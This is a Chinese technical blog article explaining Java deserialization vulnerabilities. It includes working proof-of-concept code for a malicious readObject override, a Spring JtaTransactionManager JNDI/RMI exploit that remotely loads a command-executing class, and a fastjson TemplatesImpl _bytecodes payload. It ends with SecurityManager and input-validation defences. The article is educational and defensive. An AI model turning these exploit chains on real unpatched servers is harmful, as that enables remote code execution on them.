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深入剖析 Java 反序列化漏洞

2021-10-20 21:16Java极客技术 鸭血粉丝Tang Java教程

最为出名的大概应该是:15年的 Apache Commons Collections 反序列化远程命令执行漏洞,当初影响范围包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd 等知名软件,直接在互联网行业掀起了一阵飓风。

深入剖析 Java 反序列化漏洞

一、背景

在上篇文章中,小编有详细的介绍了序列化和反序列化的玩法,以及一些常见的坑点。

但是,高端的玩家往往不会仅限于此,熟悉接口开发的同学一定知道,能将数据对象很轻松的实现多平台之间的通信、对象持久化存储,序列化和反序列化是一种非常有效的手段,例如如下应用场景,对象必须 100% 实现序列化。

  • DUBBO:对象传输必须要实现序列化
  • RMI:Java 的一组拥护开发分布式应用程序 API,实现了不同操作系统之间程序的方法调用,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口

而在反序列化的背后,却隐藏了很多不为人知的秘密!

最为出名的大概应该是:15年的 Apache Commons Collections 反序列化远程命令执行漏洞,当初影响范围包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd 等知名软件,直接在互联网行业掀起了一阵飓风。

2016 年 Spring RMI 反序列化爆出漏洞,攻击者可以通过 JtaTransactionManager 这个类,来远程执行恶意代码。

2017 年 4月15 日,Jackson 框架被发现存在一个反序列化代码执行漏洞。该漏洞存在于 Jackson 框架下的 enableDefaultTyping 方法,通过该漏洞,攻击者可以远程在服务器主机上越权执行任意代码,从而取得该网站服务器的控制权。

还有 fastjson,一款 java 编写的高性能功能非常完善的 JSON 库,应用范围非常广,在 2017 年,fastjson 官方主动爆出 fastjson 在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。

Java 十分受开发者喜爱的一点,就是其拥有完善的第三方类库,和满足各种需求的框架。但正因为很多第三方类库引用广泛,如果其中某些组件出现安全问题,或者在数据校验入口就没有把关好,那么受影响范围将极为广泛的,以上爆出的漏洞,可能只是星辰大海中的一束花。

那么问题来了,攻击者是如何精心构造反序列化对象并执行恶意代码的呢?

二、漏洞分析

2.1、漏洞基本原理

我们先看一段代码如下:

  1. publicclassDemoSerializable{
  2. publicstaticvoidmain(String[]args)throwsException{
  3. //定义myObj对象
  4. MyObjectmyObj=newMyObject();
  5. myObj.name="helloworld";
  6. //创建一个包含对象进行反序列化信息的”object”数据文件
  7. FileOutputStreamfos=newFileOutputStream("object");
  8. ObjectOutputStreamos=newObjectOutputStream(fos);
  9. //writeObject()方法将myObj对象写入object文件
  10. os.writeObject(myObj);
  11. os.close();
  12. //从文件中反序列化obj对象
  13. FileInputStreamfis=newFileInputStream("object");
  14. ObjectInputStreamois=newObjectInputStream(fis);
  15. //恢复对象
  16. MyObjectobjectFromDisk=(MyObject)ois.readObject();
  17. System.out.println(objectFromDisk.name);
  18. ois.close();
  19. }
  20. }
  21. classMyObjectimplementsSerializable{
  22. /**
  23. *任意属性
  24. */
  25. publicStringname;
  26. //重写readObject()方法
  27. privatevoidreadObject(java.io.ObjectInputStreamin)throwsIOException,ClassNotFoundException{
  28. //执行默认的readObject()方法
  29. in.defaultReadObject();
  30. //执行指定程序
  31. Runtime.getRuntime().exec("openhttps://www.baidu.com/");
  32. }
  33. }

运行程序之后,控制台会输出hello world,同时也会打开网页跳转到https://www.baidu.com/。

从这段逻辑中分析,我们可以很清晰的看到反序列化已经成功了,但是程序又偷偷的执行了一段如下代码。

  1. Runtime.getRuntime().exec("openhttps://www.baidu.com/");

我们可以再把这段代码改造一下,内容如下:

  1. //mac系统,执行打开计算器程序命令
  2. Runtime.getRuntime().exec("open/Applications/Calculator.app/");
  3. //windows系统,执行打开计算器程序命令
  4. Runtime.getRuntime().exec("calc.exe");

运行程序后,可以很轻松的打开电脑中已有的任意程序。

深入剖析 Java 反序列化漏洞

很多人可能不知道,这里的readObject()是可以重写的,只是Serializable接口没有显示的把它展示出来,readObject()方法的作用是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,以定制反序列化的一些行为。

可能有的同学会说,实际开发过程中,不会有人这么去重写readObject()方法,当然不会,但是实际情况也不会太差。

2.2、Spring 框架的反序列化漏洞

以当时的 Spring 框架爆出的反序列化漏洞为例,请看当时的示例代码。

首先创建一个 server 代码:

  1. publicclassExploitableServer{
  2. publicstaticvoidmain(String[]args){
  3. try{
  4. //创建socket
  5. ServerSocketserverSocket=newServerSocket(Integer.parseInt("9999"));
  6. System.out.println("Serverstartedonport"+serverSocket.getLocalPort());
  7. while(true){
  8. //等待链接
  9. Socketsocket=serverSocket.accept();
  10. System.out.println("Connectionreceivedfrom"+socket.getInetAddress());
  11. ObjectInputStreamobjectInputStream=newObjectInputStream(socket.getInputStream());
  12. try{
  13. //读取对象
  14. Objectobject=objectInputStream.readObject();
  15. System.out.println("Readobject"+object);
  16. }catch(Exceptione){
  17. System.out.println("Exceptioncaughtwhilereadingobject");
  18. e.printStackTrace();
  19. }
  20. }
  21. }catch(Exceptione){
  22. e.printStackTrace();
  23. }
  24. }
  25. }

然后创建一个 client 代码:

  1. publicclassExploitClient{
  2. publicstaticvoidmain(String[]args){
  3. try{
  4. StringserverAddress="127.0.0.1";
  5. intport=Integer.parseInt("1234");
  6. StringlocalAddress="127.0.0.1";
  7. System.out.println("StartingHTTPserver");//开启8080端口服务
  8. HttpServerhttpServer=HttpServer.create(newInetSocketAddress(8080),0);
  9. httpServer.createContext("/",newHttpFileHandler());
  10. httpServer.setExecutor(null);
  11. httpServer.start();
  12. System.out.println("CreatingRMIRegistry");//绑定RMI服务到1099端口Object提供恶意类的RMI服务
  13. Registryregistry=LocateRegistry.createRegistry(1099);
  14. /*
  15. java为了将object对象存储在Naming或者Directory服务下,
  16. 提供了NamingReference功能,对象可以通过绑定Reference存储在Naming和Directory服务下,
  17. 比如(rmi,ldap等)。在使用Reference的时候,我们可以直接把对象写在构造方法中,
  18. 当被调用的时候,对象的方法就会被触发。理解了jndi和jndireference后,
  19. 就可以理解jndi注入产生的原因了。
  20. *///绑定本地的恶意类到1099端口
  21. Referencereference=newjavax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":8080"+"/");
  22. ReferenceWrapperreferenceWrapper=newcom.sun.jndi.rmi.registry.ReferenceWrapper(reference);
  23. registry.bind("Object",referenceWrapper);
  24. System.out.println("Connectingtoserver"+serverAddress+":"+port);//连接服务器1234端口
  25. Socketsocket=newSocket(serverAddress,port);
  26. System.out.println("Connectedtoserver");
  27. StringjndiAddress="rmi://"+localAddress+":1099/Object";
  28. //JtaTransactionManager反序列化时的readObject方法存在问题//使得setUserTransactionName可控,远程加载恶意类
  29. //lookup方法会实例化恶意类,导致执行恶意类无参的构造方法
  30. org.springframework.transaction.jta.JtaTransactionManagerobject=neworg.springframework.transaction.jta.JtaTransactionManager();
  31. object.setUserTransactionName(jndiAddress);
  32. //上面就是poc,下面是将object序列化发送给服务器,服务器访问恶意类
  33. System.out.println("Sendingobjecttoserver...");
  34. ObjectOutputStreamobjectOutputStream=newObjectOutputStream(socket.getOutputStream());
  35. objectOutputStream.writeObject(object);
  36. objectOutputStream.flush();
  37. while(true){
  38. Thread.sleep(1000);
  39. }
  40. }catch(Exceptione){
  41. e.printStackTrace();
  42. }
  43. }
  44. }

最后,创建一个ExportObject需要远程下载的类:

  1. publicclassExportObject{
  2. publicstaticStringexec(Stringcmd)throwsException{
  3. Stringsb="";
  4. BufferedInputStreamin=newBufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
  5. BufferedReaderinBr=newBufferedReader(newInputStreamReader(in));
  6. StringlineStr;
  7. while((lineStr=inBr.readLine())!=null)
  8. sb+=lineStr+"\n";
  9. inBr.close();
  10. in.close();
  11. returnsb;
  12. }
  13. publicExportObject()throwsException{
  14. Stringcmd="open/Applications/Calculator.app/";
  15. thrownewException(exec(cmd));
  16. }
  17. }

先开启 server,再运行 client 后,计算器会直接被打开!

深入剖析 Java 反序列化漏洞

究其原因,主要是这个类JtaTransactionManager类存在问题,最终导致了漏洞的实现。

打开源码,翻到最下面,可以很清晰的看到JtaTransactionManager类重写了readObject方法。

深入剖析 Java 反序列化漏洞

重点就是这个方法initUserTransactionAndTransactionManager(),里面会转调用到JndiTemplate的lookup()方法。

深入剖析 Java 反序列化漏洞

深入剖析 Java 反序列化漏洞

可以看到lookup()方法作用是:Look up the object with the given name in the current JNDI context。

也就是说,通过JtaTransactionManager类的setUserTransactionName()方法执行,最终指向了rmi://127.0.0.1:1099/Object,导致服务执行了恶意类的远程代码。

2.3、FASTJSON 框架的反序列化漏洞分析

我们先来看一个简单的例子,程序代码如下:

  1. importcom.sun.org.apache.xalan.internal.xsltc.DOM;
  2. importcom.sun.org.apache.xalan.internal.xsltc.TransletException;
  3. importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. importcom.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  5. importcom.sun.org.apache.xml.internal.serializer.SerializationHandler;
  6. importjava.io.IOException;
  7. publicclassTestextendsAbstractTranslet{
  8. publicTest()throwsIOException{
  9. Runtime.getRuntime().exec("open/Applications/Calculator.app/");
  10. }
  11. publicvoidtransform(DOMdocument,SerializationHandler[]handlers)throwsTransletException{
  12. }
  13. @Override
  14. publicvoidtransform(DOMdocument,DTMAxisIteratoriterator,com.sun.org.apache.xml.internal.serializer.SerializationHandlerhandler){
  15. }
  16. publicstaticvoidmain(String[]args)throwsException{
  17. Testt=newTest();
  18. }
  19. }

运行程序之后,同样的直接会打开电脑中的计算器。

恶意代码植入的核心就是在对象初始化阶段,直接会调用Runtime.getRuntime().exec("open /Applications/Calculator.app/")这个方法,通过运行时操作类直接执行恶意代码。

我们在来看看下面这个例子:

  1. importcom.alibaba.fastjson.JSON;
  2. importcom.alibaba.fastjson.parser.Feature;
  3. importcom.alibaba.fastjson.parser.ParserConfig;
  4. importorg.apache.commons.io.IOUtils;
  5. importorg.apache.commons.codec.binary.Base64;
  6. importjava.io.ByteArrayOutputStream;
  7. importjava.io.File;
  8. importjava.io.FileInputStream;
  9. importjava.io.IOException;
  10. publicclassPOC{
  11. publicstaticStringreadClass(Stringcls){
  12. ByteArrayOutputStreambos=newByteArrayOutputStream();
  13. try{
  14. IOUtils.copy(newFileInputStream(newFile(cls)),bos);
  15. }catch(IOExceptione){
  16. e.printStackTrace();
  17. }
  18. returnBase64.encodeBase64String(bos.toByteArray());
  19. }
  20. publicstaticvoidtest_autoTypeDeny()throwsException{
  21. ParserConfigconfig=newParserConfig();
  22. finalStringfileSeparator=System.getProperty("file.separator");
  23. finalStringevilClassPath=System.getProperty("user.dir")+"/target/classes/person/Test.class";
  24. StringevilCode=readClass(evilClassPath);
  25. finalStringNASTY_CLASS="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  26. Stringtext1="{\"@type\":\""+NASTY_CLASS+
  27. "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{},"+
  28. "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
  29. System.out.println(text1);
  30. Objectobj=JSON.parseObject(text1,Object.class,config,Feature.SupportNonPublicField);
  31. //assertEquals(Model.class,obj.getClass());
  32. }
  33. publicstaticvoidmain(Stringargs[]){
  34. try{
  35. test_autoTypeDeny();
  36. }catch(Exceptione){
  37. e.printStackTrace();
  38. }
  39. }
  40. }

在这个程序验证代码中,最核心的部分是_bytecodes,它是要执行的代码,@type是指定的解析类,fastjson会根据指定类去反序列化得到该类的实例,在默认情况下,fastjson只会反序列化公开的属性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性,_name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化。

_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法,所以是设置不了的,只能依赖于jdk的实现,某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。

如果你的jdk版本是1.7,并且fastjson <= 1.2.24,基本会执行成功,如果是高版本的,可能会报错!

详细分析请移步:http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/

Jackson 的反序列化漏洞也与之类似。

三、如何防范

从上面的案例看,java 的序列化和反序列化,单独使用的并没有啥毛病,核心问题也都不是反序列化,但都是因为反序列化导致了恶意代码被执行了,尤其是两个看似安全的组件,如果在同一系统中交叉使用,也能会带来一定安全问题。

3.1、禁止 JVM 执行外部命令 Runtime.exec

从上面的代码中,我们不难发现,恶意代码最终都是通过Runtime.exec这个方法得到执行,因此我们可以从 JVM 层面禁止外部命令的执行。

通过扩展 SecurityManager 可以实现:

  1. publicclassSecurityManagerTest{
  2. publicstaticvoidmain(String[]args){
  3. SecurityManageroriginalSecurityManager=System.getSecurityManager();
  4. if(originalSecurityManager==null){
  5. //创建自己的SecurityManager
  6. SecurityManagersm=newSecurityManager(){
  7. privatevoidcheck(Permissionperm){
  8. //禁止exec
  9. if(perminstanceofjava.io.FilePermission){
  10. Stringactions=perm.getActions();
  11. if(actions!=null&&actions.contains("execute")){
  12. thrownewSecurityException("executedenied!");
  13. }
  14. }
  15. //禁止设置新的SecurityManager,保护自己
  16. if(perminstanceofjava.lang.RuntimePermission){
  17. Stringname=perm.getName();
  18. if(name!=null&&name.contains("setSecurityManager")){
  19. thrownewSecurityException("System.setSecurityManagerdenied!");
  20. }
  21. }
  22. }
  23. @Override
  24. publicvoidcheckPermission(Permissionperm){
  25. check(perm);
  26. }
  27. @Override
  28. publicvoidcheckPermission(Permissionperm,Objectcontext){
  29. check(perm);
  30. }
  31. };
  32. System.setSecurityManager(sm);
  33. }
  34. }
  35. }

只要在 Java 代码里简单加上面那一段,就可以禁止执行外部程序了,但是并非禁止外部程序执行,Java 程序就安全了,有时候可能适得其反,因为执行权限被控制太苛刻了,不见得是个好事,我们还得想其他招数。

3.2、增加多层数据校验

比较有效的办法是,当我们把接口参数暴露出去之后,服务端要及时做好数据参数的验证,尤其是那种带有http、https、rmi等这种类型的参数过滤验证,可以进一步降低服务的风险。

四、小结

随着 Json 数据交换格式的普及,直接应用在服务端的反序列化接口也随之减少,但陆续爆出的Jackson和Fastjson两大 Json 处理库的反序列化漏洞,也暴露出了一些问题。

所以我们在日常业务开发的时候,对于 Java 反序列化的安全问题应该具备一定的防范意识,并着重注意传入数据的校验、服务器权限和相关日志的检查, API 权限控制,通过 HTTPS 加密传输数据等方面进行下功夫,以免造成不必要的损失!

五、参考

1、seebug - 深入理解 JAVA 反序列化漏洞

2、博客圆 - Afant1- Spring framework 反序列化的漏洞

3、技术博客- FASTJSON 远程反序列化程序验证的构造和分析

原文链接:https://mp.weixin.qq.com/s/SWkCu3rQyDBN4zrrXOTOwA

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